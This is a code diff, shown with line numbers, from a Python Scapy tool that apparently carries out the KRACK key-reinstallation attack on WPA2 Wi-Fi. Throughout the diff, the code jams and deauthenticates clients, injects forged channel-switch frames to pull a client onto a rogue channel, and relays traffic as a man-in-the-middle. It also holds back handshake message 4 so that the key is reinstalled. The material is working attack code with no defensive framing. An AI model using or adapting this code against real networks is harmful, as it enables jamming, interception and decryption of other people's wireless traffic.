66
66
0x05 : "Cf " ,
67
67
0x06 : "CF " ,
68
68
0x07 : "CF " ,
69
- 0x08 : "QoS data " ,
70
- 0x09 : "QoS data " ,
71
- 0x0A : "QoS data " ,
72
- 0x0B : "QoS data " ,
69
+ 0x08 : "QoS data8 " ,
70
+ 0x09 : "QoS data9 " ,
71
+ 0x0A : "QoS dataA " ,
72
+ 0x0B : "QoS dataB " ,
73
73
0x0C : "QoS null " ,
74
74
0x0D : "Reserved " ,
75
- 0x0E : "QoS data " ,
76
- 0x0F : "QoS data "
75
+ 0x0E : "QoS dataE " ,
76
+ 0x0F : "QoS dataF "
77
77
}
78
78
}
79
79
@@ -199,6 +199,7 @@ class Jammer:
199
199
def __init__ (self , args ):
200
200
self .iface_ap = args .iface_ap
201
201
self .ap_channel = args .channel
202
+ self .client_channel = (self .ap_channel + 6 ) % 13
202
203
self .ap_ssid = args .access_point
203
204
self .ap_mac = args .ap_mac
204
205
self .client_mac = args .client
@@ -237,7 +238,7 @@ def deauth(self, e):
237
238
addr2 = self .ap_mac ,
238
239
addr3 = self .ap_mac ,
239
240
type = 0 ,
240
- subtype = 0x0d )/ Raw ("\x00 \x04 \x25 \x03 \x00 \x04 \x00 " )
241
+ subtype = 0x0d )/ Raw ("\x00 \x04 \x25 \x03 \x00 " + chr ( self . client_channel ) + " \x00 " )
241
242
242
243
pkts .append (deauth_pkt1 )
243
244
pkts .append (deauth_pkt2 )
@@ -497,12 +498,22 @@ def handle_pkt_ap(self):
497
498
if pkt .type == 1 : # TYPE_CNTRL
498
499
return 0
499
500
501
+ # Don't forward CSA
502
+ if pkt .subtype == 0x0d and Raw in pkt and str (pkt [Raw ]).startswith ("\x00 \x04 " ):
503
+ return 0
504
+
500
505
501
506
502
507
# Drop Beacons as we inject ours
503
508
if pkt .type == 0 and pkt .subtype == 0x08 : # Beacon
504
509
return 0
505
510
511
+ """
512
+ logger.log("[" + ("*" if pkt[Dot11].FCfield & 0x20 != 0 else " ") + "] [R]AP[/R] : " + pkt_types[pkt.type][
513
+ pkt.subtype] + " - src: " + pkt[Dot11].addr2 + " | dst: " + pkt[Dot11].addr1 + ' - ' + str(
514
+ self.find_channel(pkt)))
515
+ """
516
+
506
517
# Check if pkt needs to be forwarded or not
507
518
res = self .analyze_traffic (pkt )
508
519
@@ -524,12 +535,20 @@ def handle_pkt_client(self):
524
535
if pkt .type == 1 : # TYPE_CNTRL
525
536
return 0
526
537
538
+
539
+
527
540
# Forward to AP or probe requests
528
541
if (((pkt [Dot11 ].addr1 != self .ap_mac and pkt [Dot11 ].addr3 != self .ap_mac )
529
- or pkt [Dot11 ].addr2 != self .client_mac )
542
+ or pkt [Dot11 ].addr2 != self .client_mac )
530
543
or self .is_handshake_packet (pkt )):
531
544
return 0
532
545
546
+ """
547
+ logger.log("[" + ("*" if pkt[Dot11].FCfield & 0x20 != 0 else " ") + "] [B]CL[/B] : " + pkt_types[pkt.type][
548
+ pkt.subtype] + " - src: " + pkt[Dot11].addr2 + " | dst: " + pkt[Dot11].addr1 + ' - ' + str(
549
+ self.find_channel(pkt)))
550
+ """
551
+
533
552
# Probe Request, we reply ourselves
534
553
if pkt .type == 0 and pkt .subtype == 0x04 : # Probe Request
535
554
# Update Sequence Number
@@ -541,22 +560,26 @@ def handle_pkt_client(self):
541
560
542
561
return 0
543
562
544
- if JAMMING and pkt .type == 0 and pkt .subtype == 0x0b : # Authentication
545
- # MitMed so no need for more Jamming
546
- logger .log ("Client authenticated to our AP!" , "success" )
563
+ if JAMMING and pkt .type == 0 and (pkt .subtype == 0x00 or pkt .subtype == 0x0b ) and self .find_channel (pkt ) == self .client_channel : # Association/Authentication
547
564
event_jamming .set ()
565
+ # MitMed so no need for more Jamming
566
+ logger .log ("Client authenticated to our AP!" , "error" )
548
567
JAMMING = False
549
568
logger .log ("MitM attack has [G]started[/G]" , "success" )
550
569
551
- if pkt .type == 2 and pkt .subtype == 0x08 and str (pkt [Raw ]).startswith ("\x02 \x03 \x0a " ): # Msg4
552
- if not PTK_INSTALLED :
553
- logger .log ("PKT [G]installed[/G] on client" , "success" )
554
- else :
555
- logger .log ("PKT [G]RE-installed[/G] on client! Key Reinstallation succes!" , "success" )
556
- PTK_INSTALLED = True
557
570
558
- # Don't forward, AP will think no response and send msg3 again
559
- return 0
571
+ if pkt .type == 2 and pkt .subtype == 0x08 :
572
+ if Raw in pkt and str (pkt [Raw ]).startswith ("\x02 \x03 \x0a " ): # Msg4
573
+ if not PTK_INSTALLED :
574
+ logger .log ("PKT [G]installed[/G] on client" , "success" )
575
+ else :
576
+ logger .log ("PKT [G]RE-installed[/G] on client! Key Reinstallation succes!" , "success" )
577
+ PTK_INSTALLED = True
578
+
579
+ # Don't forward, AP will think no response and send msg3 again
580
+ else :
581
+ # QoS Data maybe need to save
582
+ pass
560
583
561
584
# Check if pkt needs to be forwarded or not
562
585
res = self .analyze_traffic (pkt )
@@ -583,15 +606,15 @@ def analyze_traffic(self, pkt):
583
606
if pkt .type == 2 and pkt .subtype == 0x8 and Raw in pkt : # Data - QoS data
584
607
if str (pkt [Raw ]).startswith ("\x02 \x00 \x8a " ): # Msg1
585
608
logger .log ("4-way handshake : [G]Messag 1/4[/G]" , "success" )
586
- elif str (pkt [Raw ]). startswith ( " \x02 \ x01\x0a ") : # Msg2
609
+ elif str (pkt [Raw ])[ 1 : 3 ] == " \ x01\x0a " : # Msg2
587
610
logger .log ("4-way handshake : [G]Messag 2/4[/G]" , "success" )
588
611
elif str (pkt [Raw ]).startswith ("\x02 \x13 \xca " ): # Msg3
589
612
logger .log ("4-way handshake : [G]Messag 3/4[/G]" , "success" )
590
613
elif str (pkt [Raw ]).startswith ("\x02 \x03 \x0a " ): # Msg4
591
614
logger .log ("4-way handshake : [G]Messag 4/4[/G]" , "success" )
615
+ return 0
592
616
else :
593
617
logger .log ("4-way handshake : [G]UNKNOWN[/G]" , "error" )
594
- return 0
595
618
596
619
if pkt [Dot11 ].FCfield & 0x20 != 0 :
597
620
return 0
@@ -608,6 +631,18 @@ def send_to_ap(self, pkt):
608
631
609
632
# Hack to check injected data
610
633
pkt [Dot11 ].FCfield |= 0x20
634
+
635
+ """
636
+ logger.log("[" + ("*" if pkt[Dot11].FCfield & 0x20 != 0 else " ") + "] [G]CL->AP[/G] : " + pkt_types[pkt.type][
637
+ pkt.subtype] + " - src: " + pkt[Dot11].addr2 + " | dst: " + pkt[Dot11].addr1 + ' - ' + str(
638
+ self.find_channel(pkt)))
639
+
640
+
641
+ if pkt.type == 2 and pkt.subtype == 8 and Raw in pkt:
642
+ pkt.show()
643
+
644
+ """
645
+
611
646
sendp (pkt , iface = self .iface_ap )
612
647
613
648
def send_to_client (self , pkt ):
@@ -620,6 +655,13 @@ def send_to_client(self, pkt):
620
655
621
656
# Hack to check injected data
622
657
pkt [Dot11 ].FCfield |= 0x20
658
+
659
+ """
660
+ logger.log("[" + ("*" if pkt[Dot11].FCfield & 0x20 != 0 else " ") + "] [O]AP->CL[/O] : " + pkt_types[pkt.type][
661
+ pkt.subtype] + " - src: " + pkt[Dot11].addr2 + " | dst: " + pkt[Dot11].addr1 + ' - ' + str(
662
+ self.find_channel(pkt)))
663
+ """
664
+
623
665
sendp (pkt , iface = self .iface_client )
624
666
625
667
def set_channel (self , pkt , channel ):
0 commit comments